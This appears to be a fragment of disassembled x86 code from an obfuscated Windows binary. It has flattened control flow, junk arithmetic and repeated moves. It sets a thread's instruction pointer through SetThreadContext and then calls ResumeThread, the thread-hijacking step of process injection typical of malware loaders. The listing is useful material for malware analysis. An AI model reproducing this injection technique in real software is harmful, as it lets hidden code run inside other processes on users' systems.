jmp 0x1000aa85
mov dword [ebp - 0x198], 0xb2fc46ec
jmp 0x1000aa85
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x198], 0x8864cafc
jmp 0x1000aa85
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x70]
sub ecx, 0xf64996dd
add ecx, eax
add ecx, 0xf64996dd
mov eax, dword [ebp - 0x14c]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x198], 0x99ed5ece
jmp 0x1000aa85
jmp 0x10002d50